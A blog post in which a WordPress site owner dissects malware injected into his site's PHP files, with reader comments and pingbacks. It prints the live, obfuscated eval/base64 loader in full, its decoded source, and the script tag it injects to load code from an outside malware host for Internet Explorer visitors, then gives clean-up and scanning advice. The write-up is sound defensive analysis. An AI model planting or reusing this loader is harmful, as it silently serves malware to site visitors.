Anatomy of a hack
In the last 48 Hours Loudmouthman.com wordpress site was compromised. One of the side effects of this infection was that Live Writer stopped publishing to my blog and would return ‘blogger.getByUsers’ authentication and validation errors.
I have yet to work out what vector was used to add additional code to my site but it appears that the automated tools which injected the code are running depsite the payload no longer being available ( though that will change as the code evolves ) The additional code was injected into the top of every .php file in the root of my wordpress installation and it came to light when my own scripts emailed me to say that the files contained some key phrases that had I was looking for.
Before I discuss my method of scanning and maintenance lets have a look at the core infection; warning this code is not defanged and if your try it out then please realise I do not accept responsibility for you pulling the trigger.
The Infection :
FOR TESTING PURPOSES I RAN THIS SCRIPT IN THE CONSOLE OF A STAND ALONE VIRTUAL MACHINE WITH NO INTERNET ACCESS.
The Single line of new code was pasted to the top of each file.
<? php eval (base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTF
NbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jd
Glvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbC
cpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmIChzdHJpc3RyKCRfU0VSVkV
SWyJIVFRQX1VTRVJfQUdFTlQiXSwiTVNJRSA2Iil8fHN0cmlzdHIoJF9TRVJWRVJb
IkhUVFBfVVNFUl9BR0VOVCJdLCJNU0lFIDciKXx8c3RyaXN0cigkX1NFUlZFUlsi
SFRUUF9VU0VSX0FHRU5UIl0sIk1TSUUgOCIpfHxzdHJpc3RyKCRfU0VSVkVSW
yJIVFRQX1VTRVJfQUdFTlQiXSwiTVNJRSA5IikpeyAgICAgICByZXR1cm4gYmFz
ZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5bmJHOWlZ
V3h3YjNkbGNtbHVaMmRoZEdobGNtbHVaeTVqYjIwdmJtd3VjR2h3UDNBOU1TS
StQQzl6WTNKcGNIUSsiKTsgICAgICB9ICAgICAgcmV0dXJuICIiOyAgICAgfSAgI
CB9ICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXsgIC
AgIGZ1bmN0aW9uIGd6ZGVjb2RlKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzh
GNjExQTU2NDY4NEMpeyAgICAgICRSMzBCMkFCOERDMTQ5NkQwNkIyM
zBBNzFEODk2MkFGNUQ9QG9yZChAc3Vic3RyKCRSNUE5Q0YxQjQ5NzU
wMkFDQTIzQzhGNjExQTU2NDY4NEMsMywxKSk7ICAgICAgJFJCRTRDNE
QwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT0xMDsgICAgICAkUkEz
RDUyRTUyQTQ4OTM2Q0RFMEY1MzU2QkIwODY1MkYyPTA7ICAgICAga
WYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY0KX
sgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj
1AdW5wYWNrKCd2JyxzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjN
DOEY2MTFBNTY0Njg0QywxMCwyKSk7ICAgICAgICRSNjNCRURFNkIx
OTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2R
DRFRkVBRDA3QTREOTFFMjlFQlsxXTsgICAgICAgJFJCRTRDNEQwM
zdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MiskUjYzQkVERTZCMT
kyNjZENEVGRUFEMDdBNEQ5MUUyOUVCOyAgICAgIH0gICAgICBpZigkUjMwQj
JBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjgpeyAgICAgICAkUkJFNEM0RDA
zN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCN
Dk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMz
dFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIz
MEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYxNil7ICAgICAgICR
SQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjV
BOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0
RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZig
kUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyAgICAgICAkUk
JFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yOyAgICAgIH0gI
CAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPUBnemluZm
xhdGUoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2OD
RDLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKTsgICA
gICBpZigkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPT09Rk
FMU0UpeyAgICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzM
zUzPSRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEM7ICAgIC
AgfSAgICAgIHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzM
zUzOyAgICAgfSAgICB9ICAgIGZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY
3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpeyAgICAgSGVhZGVyKCdDb250ZW50LU
VuY29kaW5nOiBub25lJyk7ICAgICAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1
OUM1MUI4MURFPWd6ZGVjb2RlKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0
RUJBN0ZBNkI3OEIpOyAgICAgICBpZihwcmVnX21hdGNoKCcvXDxcL2JvZHkv
c2knLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpKXsgI
CAgIdByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8XC9ib2R5W15cPl0qXD
4pL3NpJyxnbWwoKS4iXG4iLickMScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5
RjdCNTlDNTFCODFERSk7ICAgICB9ZWxzZXsgICAgICByZXR1cm4gJFJ
BMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERS5nbWwoKTsgI
CAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9"));?>
To debug what is going on the first step was to copy the code into a separate file and rename the eval statement into an echo statement then run the script and pipe the output into a separate script.
if(function_exists(‘ob_start’)&&!isset($GLOBALS[‘mr_no’])){
$GLOBALS[‘mr_no’]=1;
if(!function_exists(‘mrobh’)){
if(!function_exists(‘gml’)){
function gml(){
//if (stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 6")||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 7")||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 8")||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 9")){
return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9nbG9iYWxwb3dlcmluZ2dhdGhlcmluZy5jb20vbmwucGhwP3A9MSI+PC9zY3JpcHQ+"); } return ""; } } if(!function_exists(‘gzdecode’)){ function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack(‘v’,substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header(‘Content-Encoding: none’); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match(‘/\<\/body/si’,$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace(‘/(\<\/body[^\>]*\>)/si’,gml()."\n".’$1′,$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start(‘mrobh’); } }
It is clear that the script will only launch if the User Agent ( Browser ) Rendering the script is Internet Explorer, So lets edit the relevant line and replace it with something that returns true.
//if (stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 6")||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 7")||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 8")||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 9")){
//
if(1==1){
Now we can run that script and output its results into another file
<script src="http://globalpoweringgathering.com/nl.php?p=1"></script>
If I had been an Internet Explorer user then pages served from http://loudmouthman.com would have been making a call to GlobalPowerGathering to return a script.
I cant find the contents of the script because the site in question will not return a response. Further if you are surfing with Comodo , Google DNS or Chrome you are warned about visiting that site since it may contain malware.
Doing some research on Google I belive that had the script worked it would have attempted to launch a Malware page which would have created a Fake Antivirus page examples of which can be seen if you search google for “fake antivirus popup†The script targeted Windows IE users which meant the script was not being called if you visited from any other browser.
Having defanged my own WordPress files and reset the security flag on my site I checked with Google to see if they felt I was a problem website. Visiting Google Safebrowsing page will let you know if your site has in the last 90days been reported as a problem.
With my site cleaned up I went ahead and checked my Friends and Clients websites to check they too were not infected or reported on Google. Thankfully we came up clean.
Prevention
Outside of ensuring that I keep wordpress as upto date as is safe and using lockdown and admin login tools to monitor access to the websites I have a script which runs every hour and scans for keyphrases or words inside the files on my sites. If the magic pattern makes a match then I get an email and can log in via the shell and begin to repair the damage ( usually by replacing the files with a clean copy of wordpress ) You can automate a lot of this process but nothing beats the intervention of a human for double checking against a false positive.
I might have chosen not to admit that I was infected , l I run a business that helps reduce this from happening and it could be perceived as a failure on my part. I feel that honesty and information are a more valuable currency and hopefully the above will help others in diagnosing their problems.
Thanks for reading.
I stumbled on your post while googling for solutions for the same attack.
I found it interesting that Google Webmaster Tools requested verification from two of my sites, so I was able to catch those.
I now have a dozen or so sites that have traces of that script waiting to be run
”
What would you suggest the best way to clean these sites? They are all WordPress instances with the latest version installed.
I appreciate any help you can lend. I am continuing to look on my own as well.
Thanks
Pingback: Troj/PHPShll-B: Malware injects itself into WordPress installations | Naked Security
I appreciate that you were bold enough to fess up, and I *really* appreciate the detailed response you gave. Kudos!
Would you kindly provide a sample of your script that you use to monitor your site(s) even if only by e-mail? I’d love to be able to do this with several that I administer including library and critical incident stress management team Web sites.
Pingback: Troj/PHPShll-B: Malware injects itself into WordPress installations | WORDPRESS PORTAL